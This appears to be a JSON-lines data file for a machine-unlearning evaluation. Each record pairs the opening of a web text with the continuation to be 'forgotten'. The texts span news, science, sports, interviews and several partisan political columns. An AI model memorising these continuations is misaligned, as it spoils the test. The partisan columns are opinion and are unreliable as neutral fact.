{"prompt": "Haile Selassie, the emperor of Ethiopia, was overthrown in 1974, and his downfall was caused to a considerable extent by his regime\u2019s failure to confront the famine that year. A decade later, famine swept the north of Ethiopia once again. For most of 1983, it went on without much of the rest of the world paying it any noticeable heed. It was this famine that galvanized Geldof, Bono, and the Live Aid movement. A part of the reason for this was that the Derg, the Stalinist regime then in power in Addis Ababa, forbade almost all coverage of what was", "forget": "going on. This is not to say there was no coverage at all\u2014Gill, who unlike most of the foreign journalists covering the famine at the time is actually an Ethiopia expert, points out with understandable exasperation that in July 1984, ITV ran a documentary called Seeds of Despair, and an appeal launched in its aftermath raised 10 million pounds for Ethiopian famine relief; but it was only in October 1984, when a BBC TV team led by Michael Buerk and Mohamed Amin were allowed to film what was going on, that Ethiopia became the focus of widespread public attention in the rich world. The result was that before very long, the Ethiopian catastrophe had gone from being one of the world\u2019s most forgotten crises to perhaps its best known. Geldof\u2019s single, \u201cDo They Know It\u2019s Christmas?\u201d the first blast of what would become the Band Aid/Live Aid juggernaut, came out that November and raised five million pounds, though, as Gill comments acidly, Ethiopians \u201cdid of course know it was Christmas because the starving were mostly Christian.\u201d Neither Geldof nor Bono has ever been willing to accept that, however wellintended, the premise of Live Aid was flawed from the start. Amid criticism of the ways in which the monies from Live Aid were being used by international relief agencies to fund programs connected with resettlement, Geldof told The Irish Times that \u201cthe organizations that are participating in the resettlement effort should not be criticized.... In my opinion, we\u2019ve got to give aid without worrying about population transfers.\u201d The way in which both men have capitalized on their new status as global consciences to rescue their pop music careers has been grotesque, but their sincerity is beyond doubt. Yet their competence to hold the opinions that they peddle is another matter. What"}
{"prompt": "Currently, Mars has a thin atmosphere dominated by carbon dioxide, with pressures at most of the planet's surface so low that liquid water will immediately boil. But a variety of features we've discovered argue that the planet has once supported copious amounts of water, indicating that the planet's atmosphere must have differed considerably in the past. Using radar data from the Mars Reconnaissance Orbiter, scientists have now found a potential resting place for some material that was once in the Martian atmosphere: a huge deposit at the south pole that holds nearly as much CO 2 as the planet's current", "forget": "atmosphere. Mars' south pole has extensive ice deposits, but most of that material is thought to be water, with only a thin coating of carbon dioxide on top. However, the MRO's radar instrument identified several reflection-free zones, where most of the radar signal went entirely through the icy material to the planet's surface itself. Based on the authors' calculations, this can't be water ice, but it does have very similar reflective properties to dry ice, or frozen carbon dioxide. The area also has features that indicate that some of the dry ice has sublimated to a gaseous form, resulting in areas where the surface has collapsed. If the area is dry ice, then the total amount present is huge. The authors estimate the total volume of the non-reflective material at somewhere between 9,500 and 12,500 cubic kilometers. That's 30 times more than had previously been estimated to reside at the poles, and is about 80 percent of the current CO 2 content of the entire atmosphere. If all the dry ice were heated up, Mars' atmospheric pressure would nearly double. Like the Earth, Mars undergoes orbital variations that alter the distribution of sunlight across the planet. One of these involves changes in the orientation of its axis of rotation relative to the plane of its orbit, called the obliquity. Mars undergoes more dramatic changes in obliquity than Earth and, as a result, its poles see more significant changes in sunlight at the extreme. The authors argue that this can help explain why the reflection-free zones lack any material from the planet's famous dust storms, which should reflect the radar effectively. Mars' atmosphere needs to be above a certain density to support the particles that make up its dust storms. As the poles undergo extended cold periods, the authors suggest \"the"}
{"prompt": "Yesterday I'd heard from a friend that the aircraft carrier USS George H.W. Bush would be off the coast of Kennebunkport sunday morning. So rising early and always wanting to be a witness to fiscally responsible conservatives, Mr. PB and I headed down to the beach. Sure enough there was an aircraft carrier on the horizon. George the 1st is having a birthday tuesday and someone thought it would be neat for him to visit a big boat. Bush and his wife, Barbara, along with their son, former President George W. Bush, and his wife, Laura, will fly to the", "forget": "carrier on Sunday morning, accompanied by other family members and security. The Bushes will take photos with crew members, and other family members who haven't been on board before will be given tours. Mr. PB and I watched as four helicopters flew up and down the surrounding beaches making sure the coast was clear, probably waiting for the Bushes to finish breakfast before at least one landed at Walker's Point to pick them up and fly them out to the ship. They probably spent about an hour aboard before flying home. Security as always was tight employing local (my tax dollars) as well as federal (our tax dollars) officers. Six hours later helicopters are still buzzing overhead costing money. The Portland Press Herald has more: And I surely don't want to forget this: The Carrier Mission is: To provide a credible, sustainable, independent forward presence and conventional deterrence in peacetime. To operate as the cornerstone of joint/allied maritime expeditionary forces in times of crisis. To operate and support aircraft attacks on enemies, protect friendly forces and engage in sustained independent operations in war. To provide pleasure trips and photo-ops for the Bush family in Kennebunkport. Did I mention that the USS George H.W. Bush cost 6.2 BILLION dollars? George the lesser awarded the contract to Northrop Grumman on January 26, 2001 as one of his first orders of business after his appointment to office. And why is it off the coast of Maine when \"we are a nation at war?\" I mean shouldn't it be somewhere like the Strait of Hormuz? Isn't Iran a dire threat of smoking guns and mushroom clouds? So the next time you see John Bonehead crying his crocodile tears over the state of our economy, or any of the other hypocritical bloviaters screaming about democratic"}
{"prompt": "Take action! The principle of integrated education is under attack like never before in this country following the Government\u2019s announcement that it will introduce a new generation of state schools that can religiously discriminate against children for all of their places. We are encouraging everyone to write to their MPs to speak out, and we\u2019ve provided a facility through which it\u2019s possible to do so. In line with its ambition to deliver 500 new free schools by 2020, the Government has given the green light to 11 new religious schools in its latest wave of 77 free school approvals. The", "forget": "schools are the first to be approved since the Government announced that it will move to scrap the requirement that new \u2018faith\u2019 schools keep at least half of their places open to local children, irrespective of religion or belief. If these plans go ahead, all 11 schools will be able to religiously select 100% of their places. The British Humanist Association (BHA) has stated that the latest free school approvals are yet another sign of the Government\u2019s backward approach to improving integration in the education system. Of the 11 religious schools given approval, nine are either Church of England or Christian in character. They are: Derby Cathedral School, a Church of England secondary A Level Sixth Form School, Bury St Edmunds, a Church of England school for pupils aged 16 to 19 The Trinity College, an all-through Christian school in Colchester Bishop Arden Church of England Free School, a secondary in Hillingdon Emmanuel Community School, a Christian primary school in Waltham Forest Cathedral Free School, a Church of England primary in Liverpool Cathedral Enterprise School, a Church of England secondary in Bristol East Village C of E Academy, a primary school in Swindon Middle Wichel CE (Primary) Academy also in Swindon In addition, two new Hindu schools have been approved, the Avanti Leicester School and the Avanti Brent School. Both are being set up by the Avanti Schools Trust which currently operates five other existing Hindu schools in England. The approval of these new religious schools comes just days after the Government announced the removal of the so-called \u201850% cap\u2019 on religious selection, meaning that both new and existing free schools may soon be able to religiously discriminate for all of their places when previously they have only been able to do so for up to half. The move has"}
{"prompt": "\"I am looking to put this guy out,\" Bradley says, \"I don\u2019t want to go 12 rounds with this guy.\" In anticipation of Timothy Bradley\u2019s return to the ring against Ruslan Provodnikov on Saturday, March 16, at the Home Depot Center in Carson California, Bradley and his trainer recently met with the press. The WBO welterweight champion remains undefeated at 29-0 and is one of the premier fighters in the game today. But things have not gone smoothly. There were promotional issues. There were family issues. There were public relations issues. And there were issues with the fans of Manny", "forget": "Pacquiao, who he defeated, albeit controversially, in his last fight. \u201cEvery fight from here on out is a statement fight, especially coming after the Pacquiao fight,\u201d Bradley said. \u201cI am looking to make a statement in this fight and I am looking to damage this guy. I am looking to put this guy out. I don\u2019t want to go 12 rounds with this guy. The longer he stays around the more confident he will get so I want to get him out of there as soon as possible.\u201d Bradley is known for many things, but power isn\u2019t among them. The same, however, cannot be said for the hard-hitting but overmatched Provodnikov (22-1). \u201cI don\u2019t know about his knockout power,\u201d admitted Bradley. \u201cI\u2019m not worried about his power. He needs to worry about my power. I am not worried about anything he is going to bring. He is going to stand in the middle of the ring. I know exactly how to beat this guy\u2014outbox him. Provodnikov has to worry about me. I am not worried about him.\u201d Bradley\u2019s trainer, Joel Diaz, feels much the same way. \u201cWe don\u2019t take anyone light,\u201d he said, \u201cno matter who it is or what style he has. Ruslan has his style and I know he is training really hard because this is a great opportunity for him. I watch Provodnikov fights every night and know what he is and he\u2019s not going to change very much. I know he has power in both hands, but to catch Tim Bradley is going to be very hard. Tim is really smart and now his punching power has increased because we made some adjustments. You are going to see a different Tim Bradley on the 16th and don\u2019t be surprised if it doesn\u2019t go the distance.\u201d Wherever"}
{"prompt": "But some of the administration\u2019s leading liberal insiders, like Harold H. Koh, the State Department\u2019s legal adviser, are pushing for the United States to join the ban. And even some Pentagon officials are said to favor a change. In a sign of the effort\u2019s urgency, the White House is holding regular meetings with officials from the Pentagon and State Department. The administration has summoned outside experts, like Karl F. Inderfurth, a former senior diplomat who led the delegation to Ottawa in 1997, where the United States watched as 120 other countries signed the pact. \u201cI\u2019m guardedly optimistic,\u201d said a senior", "forget": "administration official who favors the treaty and who spoke on condition of anonymity because he was not authorized to speak publicly. \u201cWhy stick with the status quo when we would get so much credit for even a modest move?\u201d A Pentagon spokesman said it would be \u201cpremature\u201d to comment before the review was completed. It is not clear where the defense secretary, Robert M. Gates, stands. The White House said that the United States is already helping deal with the fallout from mines. \u201cThe U.S. record on humanitarian mine action shows that we share the concern of parties to the Ottawa Convention,\u201d said Michael Hammer, a spokesman for the National Security Council. Some analysts say the rationale for land mines is even weaker now than it was in 1997. Technological advances have enabled the Pentagon to create explosives that function like mines but are detonated remotely, making them permissible under the treaty. The United States has not used land mines since 1991, despite fighting wars in Iraq and Afghanistan \u2014 two countries that have ratified the treaty. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. \u201cThe situation has changed significantly in recent years,\u201d said Mr. Inderfurth, who is now a professor of international affairs at George Washington University. \u201cThere is every reason to believe we could join this"}
{"prompt": "The search for the Holy Grail in aging has long been a focus in regenerative medicine, which poses the question: why do some of us age better than others? Now growing evidence in Genomic Studies shows that there are key genetic players in the Aging game\u2026 Ever since the Human Genome Project, which began 25 years ago, the tools available to researchers have transformed our understanding of population genetics and the complex nuances which lie within our own individual genomes. ADVERTISEMENT In a recent paper published in PLOS Genetics, teams from several European research centres have revealed there is indeed", "forget": "a tangible molecular mechanism behind the complex phenotype of \u2018super longevity\u2019 (long-life). And this has been roughly linked to certain single-nucleotide polymorphisms (SNPs \u2013 simple mutations in the code) at particular genetic locii\u2026 In the study led by Stuart Kim at Stanford University (US), researchers looked to pool data from the other research centres also studying aging, to expand the sample group size (800 people over 100 and about 5000 over 90). This meant a large enough sample size was able to identify several key genes as a link to the \u2018longevity phenotype\u2019. Such Genome-Wide Association studies (GWAS) also offer an unbiased means to understand the genetic basis of certain traits\u2026 The New England Centenarian Study (NECS) led by Boston University identified 4 key genetic influences in Long-life: 1. ABO Locus Controls blood type. The study results showed that centenarians are more likely to have the O blood group than controls. People with blood type O have been reported to be protected from coronary heart disease, cancer, and have lower cholesterol levels. 2. CDKN2B/ANRIL Implicated in the regulation of the cell life cycle, SNPs from this region have previously been found to be associated with a surprising diversity of age-related diseases. These include cardiovascular disease, type 2 diabetes, intracranial aneurisms, amyotrophic lateral sclerosis (ALS) and several cancers in the case of Anril (through a study at the Paris Descartes University). For cardiovascular disease, this locus shows the strongest association of any locus in the genome, with each copy of the risk allele increasing one\u2019s risk of disease by 20\u201330%. 3. APOE/TOMM40 APOE was initially investigated because its \u025b4 allele was known to increase the risk of Alzheimer\u2019s and coronary artery disease, and in the study the disease-allele was shown to be depleted in long-lived populations. There was also a relationship"}
{"prompt": "The simplest explanation is that music producers compose or produce music while sound engineers record and mix music. The designation \u2018Music Producer\u2019 has come in vogue in the past twenty years or so. Sound Engineers have existed since the era of radio broadcasting that commenced in the 1920s. These lab coat-wearing personnel looked quite different from the modern sound engineer. It is important to understand the history of names and designations used in the field of music over the past hundred odd years. Before the advent of music technology, music was composed by composers on paper. A composer would write", "forget": "down his musical ideas as music notation on staff paper. Think of classical greats such as Beethoven and Mozart. A composer would use instruments such as a piano or an organ to work on his compositions. A \u2018transcriber\u2019s help might be taken to formally notate the compositions. Lets take the example of a symphony. A symphony is meant to be performed by a large orchestra. The composer himself might conduct the orchestra or a \u2018conductor\u2019 might be commissioned for the recital. Imagine a 60 piece symphony orchestra performing for a live audience in the 18th century. There was no audio technology in the form of microphones and loudspeakers to take advantage of. But the audience had to be satisfied aurally. This was achieved through the acoustic properties of the concert hall. Acoustics happens to be the oldest field of sound engineering (Ancient Greeks were the first to delve in to the field of acoustics). A skilled \u2018Acoustician\u2019 would design the room to constructively enhance and amplify the sound of the orchestra so that every person in the audience would receive optimum quality of sound. Alexander Graham Bell invented the telephone and Thomas Edison invented the Phonograph. Collectively they initiated the field of \u2018Audio Technology\u2019. Sound could be now converted into an electrical signal and also stored as a recording. With the emergence of Radio as a mass media format and also with the increasing popularity of vinyl playback systems, the masses became used to the idea of listening to music over loudspeakers. Electric Guitars became popular in the fifties and led to the development of blues, jazz and rock. Technology was influencing the style of music, the methods used to capture the performers and the manner in which the audience consumed music. Singers, Songwriters and Bands replaced the Composer as"}
{"prompt": "Loren Schmidt managed to garner critical acclaim and recognition as a talented up-and-coming indie developer with his pixelated platformer, Star Guard. I found out just what makes Loren tick. Age? 28 Location? Oakland, California Development tool(s) of choice? I\u2019ve used AS3, Java, and Processing, and I\u2019m currently limping along in C++. For art and sound, I use used GIMP and sfxr. I\u2019m hoping to become increasingly familiar with making sound effects, because I don\u2019t know a lot about it and it seems like a lot of fun. How did game development come into your life? My parents were somewhat anti-media,", "forget": "and I didn\u2019t have a lot of exposure to television or games at home. I was introduced to games through fleeting encounters with arcade machines and visits to friends\u2019 houses. While I would have loved learning to make games as a young child, we didn\u2019t have a computer when I was young. I didn\u2019t have an opportunity to start until much later in life. Looking back, though, there were a lot of indications of where I was headed. I used to draw a lot. I made mazes with my friends, built castles out of blocks and spent countless hours building things with Lego. I was fascinated with interactivity. I loved Choose Your Own Adventure books. I made up a lot of board games, many of which imitated video games in some way. I distinctly recall making up a broken turn based version of Space Invaders on a checkerboard. Bad tuning! What are your goals as an indie developer? One of my favorite things is seeing a project where all the parts come together and fit perfectly. Solo development is very appealing to me, because that happens so naturally. The same is true of making games with a small team. Like a lot of other people I know, in the past I\u2019ve had trouble with taking on too many projects and not bringing any of them to fruition. Right now one of my goals is to get better about finishing things. Do you have any plans to collaborate with any other developers at some point in the future? Is there anyone in particular that you feel is on a similar wavelength to yourself? I really enjoy collaborations. Though none of them have been released, I have done a few projects with other developers. I made a little maze game with Oryx"}
{"prompt": "The opinions expressed by columnists are their own and do not represent the views of Townhall.com. If you prize clarity, then these past weeks were some of the best in memory. 1. When America leads, the world is better. For the first time in eight years, the allies of America and the world's decent people celebrated America's return to leadership. Just about all of them understand that if the United States doesn't exercise its power, the worst regimes on Earth will. The left claims to care about the downtrodden of the world, but this concern is a moral fraud. The", "forget": "downtrodden the left most care about are American blacks, women and gays. And Palestinians. But these groups aren't downtrodden; they are merely a vehicle by which the left attacks America and Israel to gain power. The truly downtrodden -- that is, the most oppressed people in the world, such as Christians living in the Middle East, and the victims of Syrian President Bashar Assad's tyranny -- know who really cares about them: Trump and America's conservatives. 2. The terrible presidency of Barack Obama is beginning to be acknowledged. Following President Trump's order to attack Syria about 63 hours after the Syrian regime seemingly used chemical weapons, even many in the mainstream media couldn't help but contrast his prompt response with Obama's nonresponse to Assad's use of chemical weapons in 2013. And almost every report further noted that Obama failed to do anything after having promised that he would regard the use of chemical weapons by Assad as crossing a \"red line.\" Likewise, Obama's do-nothing policies vis-a-vis North Korea are being contrasted with Trump's warnings to leader Kim Jung Un about further testing of intercontinental ballistic missiles and pressure on China's leaders to rein in the North Korean regime. These contrasts are important for a number of reasons, not the least of which being there is now hope that Obama's star will dim as time goes on. This will come as somewhat of a surprise to those on the left, but many of us who are not on the left believe that Obama did more damage to America than any previous president -- economically, militarily and socially. Regarding the social damage, as the first black president in American history, he could have been an unprecedented force for racial healing but instead left America more racially divided than any modern president. In"}
{"prompt": "(Photos: David Bacon)OAKLAND, California \u2013 Since the Golden Arches rose above the first Southern California drive-ins, workers have labored in their shadows for the lowest legal wage a boss can pay. Other fast-food chains have mushroomed since, copying the same ideas. Pay workers the least possible. Keep them guessing from week to week how many hours they\u2019ll get. If anyone gets upset, there are always many more people on the street, ready to step behind the counter, clean up the dirty tables or stand at the grill in the heat and smoke. Is it a surprise that many people in", "forget": "those jobs came to this country to feed their hungry children or give a future to those they left behind? People will put up with a lot when they\u2019re hungry enough. They\u2019ll take ibuprofen to get through the shift or line up for food at the local food pantry at the end of the month, because their paychecks won\u2019t stretch that far. All to keep that job. These days, many of those workers have heard about strikes and work stoppages. The word is out about protests asking for $15 an hour instead of the $8 minimum. So fast-food chains are finally discovering what building service contractors and garment sweatshops have known for years. They\u2019ve \u201csuddenly realized\u201d their workers are immigrants, and maybe some don\u2019t have good immigration papers. By asking for papers and firing those who can\u2019t come up with good ones, the restaurants imagine they\u2019ll restore the previous willingness of workers to accept the minimum, no questions asked. Is that what happened at Jack in the Box in Oakland? Did the corporate office simply decide that the time had come to give workers a good scare? And did the Immigration and Customs Enforcement agency of the Department of Homeland Security help them? It wouldn\u2019t be the first time. In each of the past five years, ICE has audited the records of more than 2,000 employers, ordering them to fire undocumented workers. The mass firings include thousands of janitors and sewing-machine operators, as well as workers in farms, factories and meatpacking plants. Now these so-called \u201csilent raids\u201d have arrived at fast-food joints, just in time to scare workers as they stage more walkouts and protests. The government says forcing bosses to fire workers is more humane than deporting them. Instead of mounting the kind of factory raids immigration authorities did"}
{"prompt": "So this is the year that libertarianism, a political philosophy advocating minimal government across the board and thus annoying as hell to both conservatives and liberals, finally up and died. Not really, but that\u2019s the new official story, at least as told by media types who have been prophesying the end of libertarianism for as long as they\u2019ve been writing. There\u2019s a superficial plausibility to the charge, especially among those who confuse partisan politics with the real America. Among high-profile Democrats and Republicans, the constituency for more-open borders is zero and there\u2019s nothing like Islamic terrorism in France and California", "forget": "to rev up the war machine and ignite bipartisan calls for encryption backdoors or a ban on secret communications altogether. After a few years of an unintended pause, our elected officials have even managed to put aside their differences and are once again cranking up spending. But the main case that libertarianism is finally, finally, finally dead this time is the zombie walkabout that has been Rand Paul\u2019s presidential campaign and the juggernaut that is Donald Trump\u2019s. I think it\u2019s a major category error to equate libertarianism with partisan politics, but for folks who believe the only important political question is who wins the presidency, the divergent fortunes of Trump and Paul tell the whole story. There\u2019s no doubt that Paul\u2019s presidential campaign is on life support. What started out so promisingly as an unstoppable drive to the White House got a flat tire before it even left the parking lot. In February, Paul won the presidential straw poll at the Conservative Political Action Conference (CPAC) for the third year running, cruising past Scott Walker (remember him?) and positively crushing Donald Trump by over 20 points. As recently as June, Paul was topping polls of Republican contenders! And yet just a couple of weeks ago, Paul was reduced to special pleading to even get on the main stage of the latest Republican debate. He\u2019s now scraping by with Pataki-like numbers, even as his fellow senators, Ted Cruz and Marco Rubio, duke it out for what might come if and when Trump hits the skids. What happened to Rand Paul? He has run a bad campaign, especially from an ideological perspective. Conservatives have never been especially fond of libertarian-leaning Republicans to begin with and Paul seemed eager to show time and again that he wasn\u2019t, well, that libertarian. Sure, he had"}
{"prompt": "Image copyright IWM Approximately 1.3 million Indian soldiers served in World War One, and over 74,000 of them lost their lives. But history has mostly forgotten these sacrifices, which were rewarded with broken promises of Indian independence from the British government, writes Shashi Tharoor. Exactly 100 years after the \"guns of August\" boomed across the European continent, the world has been extensively commemorating that seminal event. The Great War, as it was called then, was described at the time as \"the war to end all wars\". Ironically, the eruption of an even more destructive conflict 20 years after the end", "forget": "of this one meant that it is now known as the First World War. Those who fought and died in the First World War would have had little idea that there would so soon be a Second. But while the war took the flower of Europe's youth to its premature grave, snuffing out the lives of a generation of talented poets, artists, cricketers and others whose genius bled into the trenches, it also involved soldiers from faraway lands that had little to do with Europe's bitter traditional hatreds. The role and sacrifices of Australians, New Zealanders, Canadians and South Africans have been celebrated for some time in books and novels, and even rendered immortal on celluloid in award-winning films like Gallipoli. Of the 1.3 million Indian troops who served in the conflict, however, you hear very little. Find out more Shashi Tharoor is a former minister in India's Congress party and a former UN diplomat. He is the author of a number of books on the history, culture, politics, and foreign policy of India. Delhi - Parting Words broadcasts on BBC Radio 3's The Essay: World War One Round the World on Thursday 2 July at 22:45 BST as part of a global year-long partnership between the British Council, BBC World Service and BBC Radio 3 called The War That Changed the World. You can catch up via the BBC iPlayer. As many as 74,187 Indian soldiers died during the war and a comparable number were wounded. Their stories, and their heroism, have long been omitted from popular histories of the war, or relegated to the footnotes. India contributed a number of divisions and brigades to the European, Mediterranean, Mesopotamian, North African and East African theatres of war. In Europe, Indian soldiers were among the first victims who suffered the"}
{"prompt": "Cloanto Releases Amiga Forever and C64 Forever 2012 August 26, 2011 - Cloanto released today Amiga Forever 2012 and C64 Forever 2012, the latest versions of the official Commodore/Amiga preservation, emulation and support suites for Windows. By adding powerful content authoring and integration functionality, Amiga Forever and C64 Forever 2012 close the circle between gaming, productivity and preservation of digital culture while adding new features and providing easier access to a universe of free and legal downloads. The new versions build on a powerful synergy of original components: RP9 file format, which is a compressed cross-platform archive containing media images,", "forget": "configuration, description and ancillary data, developed by Cloanto RetroPlatform Player and API to interface with different emulation plugins Cloanto's unique portfolio of ROM and OS licenses The new packages can emulate the full range of 8-bit (C64, VIC 20, PET/CBM, etc.) and 16/32-bit systems (Amiga, CDTV, etc.) using an intuitive media player-like interface. The advanced RP9 authoring functionality sets new references in preserving and making accessible digital culture from the 1980s and 1990s. Content created or edited with the Windows software can be played back on other systems, including mobile devices (in part under development). The 2012 versions not only include hundreds of software enhancements, but also add content of historical interest, like new interviews with Amiga legends RJ Mical and Dave Haynie, also with HD-quality video footage. Amiga Forever 2012 is available now in three editions: Value Edition (downloadable installer for Windows systems) Plus Edition (downloadable ISO image with additional Windows and platform-neutral content) Premium Edition (physical Plus Edition content plus additional videos on 3 DVDs) C64 Forever 2012 is available now in three editions: Amiga Forever and C64 Forever passed official Windows 7 logo tests on both x86 and x64 systems. Prices for both Amiga Forever and C64 Forever start from $9.95 (special upgrade offers). Graphics Permission is granted to use the following unmodified graphics in the original context, with attribution. Premium Edition box shots Detail of new features Workbench 1.3 and 3.X AmiKit and AmigaSYS integration AROS and Walker integration Player detail Player options detail Close options detail RP9 files RP9 Title Editor RP9 Toolbox Plus Edition CD AutoRun menu Tip of the Day Workbench 3.X environment detail Workbench 1.3 environment detail KX Light boot sequence Cloanto Logo Links Amiga Forever Home Page https://www.amigaforever.com Screenshots https://www.amigaforever.com/screenshots/ Premium Edition Box Shots https://www.amigaforever.com/screenshots/box-premium/ New Features https://www.amigaforever.com/whatsnew/ Quick Instructions for"}
{"prompt": "We\u2019ve always pictured Scandinavia as the home of grisly crime fiction, weird pop music and IKEA. But it looks like there\u2019s a growing custom scene too. Shops like the Wrenchmonkees and Unique Custom Cycles need no introduction. But straight after last week\u2019s Norwegian Yamaha GTS comes this radical Honda tracker from Marcus Moto Design of Sweden. It has no seat, it\u2019s painted in a vivid Arctic White, and it\u2019s the custom equivalent of an ice-cold shot of Aquavit. The builder is Marcus Carlsson, a 41-year-old engineer who lives just outside Stockholm. \u201cBikes that are unique or a bit \u2018weird\u2019 are", "forget": "what get me going,\u201d he says. \u201cToo many custom bikes look the same nowadays.\u201d Five years ago, Marcus caused an internet meltdown with his stunning Ducati F1 Tracker. He then started work on an Aprilia SXV 550, but killed that project after deciding he didn\u2019t like the look of the frame. (\u201cI move slowly on my bike builds,\u201d he admits.) That\u2019s fair enough\u2014he builds his bikes in a small one-car garage, and has a full time job managing a team of 15 people for Ericsson. When his wife and 7-year-old twins are asleep at night, he sneaks into the garage to build. \u201cI go in for a couple hours, and I basically just sleep less than them,\u201d he says. After the hiatus with the Aprilia, Marcus found a 2006-model Honda CRF450 that lived near his family\u2019s summerhouse, out in the country. It was a much better base for his vision of the ultimate street tracker. \u201cUltimate in my mind means minimal bodywork, centralized weight distribution, lightweight carbon fiber and a \u2018concept motorcycle\u2019 feel,\u201d he says. And with a modern aluminum motocross frame and a powerful four-stroke thumper engine, the CRF fitted the bill. Marcus might work slowly, but he does everything himself\u2014even the paint. So he welded and modified the FMF exhaust, welded on the aluminum sub frame, and made the foam bases for the new bodywork. The gas tank, belly pan and remaining body panels were then hand-shaped with carbon fiber. Various other parts were designed in the CAD program NX, before being 3D printed. The weight loss program is extreme: There\u2019s no seat. \u201cEvery surface has been questioned,\u201d says Marcus. \u201cIs it needed or not? Seats are for touring bikes!\u201d Marcus has lowered the forks for road use, but the frame and swing arm are stock: Honda motocross"}
{"prompt": "THE BREAKDOWN N.C. State 1. N.C. State 2. Ole Miss 3. William & Mary 4. Binghamton 1. N.C. State2. Ole Miss3. William & Mary4. Binghamton North Carolina State will not be a fun team to face this weekend in the Raleigh Regional. The Wolfpack finished the regular season and conference tournament with a very impressive 18-10 mark vs. RPI Top 50 teams, but were snubbed out of a national seed, with Oregon getting the nod for the No. 8 spot. N.C. State's starting rotation has been kind of a revolving door this season, but keep an eye on imposing left-handed", "forget": "pitcher Carlos Rodon, who was up to 93 in the ninth inning last weekend against North Carolina, and had his usual devastating 83-85 slider working extremely well, particularly in on right-handed hitters. Left-handed pitcher Brad Stone is a tall lanky-framed guy who has shown flashes of greatness this season, making his 5.81 ERA rather deceptive, while Logan Jernigan was in the rotation last weekend and has a 1.07 ERA in 25 1/3 innings of work. Meanwhile, the strength of this team is the bullpen with quality arms such as Grant Sasser (1.18, 29 IP), Josh Easley (1.62), Andrew Woeck (2.86) and Ryan Wilkins (4.00) leading the charge. Also keep an eye on consistent closer Chris Overman, who doesn't have overpowering stuff, but is a bulldog who throws strikes. Meanwhile, from an offensive standpoint, the Wolfpack have the potential to put up some runs if they get on a roll. Third baseman Grant Clyde, who's hitting .291 with four homers and 24 RBIs has been solid lately, while shortstop Trea Turner leads the way with a .376 batting average, six homers, 40 RBIs, and of course, 24 stolen bases in 30 attempts. Bryan Adametz and Jake Fincher also are tough hitters, while imposing Tarran Senay, who's hitting .284 with six homers and 49 RBIs, has good power and is a run producer. Ole Miss As usually seems to be the case, the Rebels are a rather frustrating team this season. After losing several key cogs from last year's team at the plate, the Rebels appeared to be a team ready to move forward earlier in the season. However, they've been struggling at the plate and enter the postseason hitting .276. Catcher Stuart Tuner is a bright spot both offensively and defensively, hitting an impressive .381 with 15 doubles, five homers and"}
{"prompt": "As a little boy Lou Ferrigno put on a hearing aid every morning. Other kids teased him, which led to schoolyard fights that Ferrigno lost. For comfort he would read \u201cThe Incredible Hulk\u201d comic book, one of his favorites. \u201c I felt devastated and emotionally insecure. I would just read the comics and it would give me inspiration and hope,\u201d Ferrigno said. Ferrigno didn\u2019t stop there. He began to lift weights and body build to gain the super strength his comic book hero had. By the age of 22, Ferrigno had won the \u201cMr. Universe\u201d title twice. \u201cThe Incredible Hulk\u201d", "forget": "series went in to production in 1977 and the producers needed a muscular type for the title role that played opposite the diminutive Dr. David Banner. At first they turned to Arnold Schwarzenegger, but he wasn\u2019t tall enough, so, the producers signed on the seasoned actor Richard Kiel, who would become most recognizable for his part of \u201cJaws\u201d in James Bond movies. But, as Ferrigno explained, \u201cHe (Kiel) was too big. He didn\u2019t have the muscles and he didn\u2019t have the look.\u201d Even one of the director\u2019s sons complained that Kiel didn\u2019t look like the Hulk from the comic book. Though shooting was well underway, the producers recast the part with the only person in Hollywood with the height and the build to play the Hulk: Lou Ferrigno. The most difficult challenges of playing the Hulk were putting on six layers of green makeup and the 16-hour work days. In one episode, a scene called for Ferrigno to flip a car with the aid of a steel cable lift, but it broke. Ferrigno, exhausted and annoyed from still being on the set at 4 a.m., was not going to wait for a new cable. Instead, he took matters in to his own hands\u2013literally. \u201cDo you think I am not going to turn that car over? I think I really became the Hulk,\u201d Ferrigno said about his feat of tilting the car up off a road and pushing it down an embankment. Ferrigno was surely the right man for the part. Living a Childhood Dream Prior to being cast as The Hulk, Lou Ferrigno had no experience as an actor but he knew the character of the Hulk very well. \u201cI got beat up a lot as a kid and I wanted to be so strong, so invincible so I could"}
{"prompt": "This is a rush transcript. Copy may not be in its final form. AMY GOODMAN: President Bush has named Solicitor General Paul Clement to serve as acting attorney general. Meanwhile, there has been much speculation about who Bush will nominate to replace Gonzales. Names mentioned in the press include Homeland Security Secretary Michael Chertoff, former Solicitor General Theodore Olsen, Homeland Security Adviser Frances Fragos Townsend, and former Deputy Attorney General Larry Thompson. Jesselyn Radack joins us now from Washington, D.C. She\u2019s a former attorney in the ethics department of the Justice Department. She worked at the Justice Department after the", "forget": "September 11 attacks and dealt with the John Walker Lindh case. At the time, Michael Chertoff headed the Criminal Division of the Justice Department. Two years ago, Jesselyn Radack was a vocal critic of Chertoff\u2019s nomination as homeland security director. Jesselyn Radack, take us through what happened with John Walker Lindh, right through Michael Chertoff\u2019s involvement. JESSELYN RADACK: Michael Chertoff was involved from the get-go. I had been the ethics adviser at the Justice Department in the case of the so-called American Taliban, John Walker Lindh. And I had basically advised not to interrogate him without counsel. AMY GOODMAN: Explain again who John Walker Lindh was. JESSELYN RADACK: John Walker Lindh was an American citizen who was caught fighting alongside the Taliban, along with Yaser Hamdi, another U.S. citizen, who was recently released to Saudi Arabia. And we prosecuted him. He was one of the first people tagged with the dubious \u201cenemy combatant\u201d label by the Bush administration. AMY GOODMAN: And so, tell us what happened, and your role, and then Michael Chertoff\u2019s. JESSELYN RADACK: Basically, the Justice Department disregarded the advice of the ethics unit not to interrogate him without a lawyer, went ahead, interrogated him and, by the pictures we\u2019ve seen worldwide, tortured him, and then went ahead to prosecute him. Basically, Judge Ellis, who was overseeing the prosecution, ordered that all Justice Department correspondence related to the Lindh interrogation be turned over to the court. That order was concealed from me. I found out about it inadvertently from the prosecutor. And when I went to comply with the order, my emails with the advice not to interrogate him without counsel and the fact that the FBI had committed an ethics violation in doing so were missing from the file. I resurrected those emails from my computer archives"}
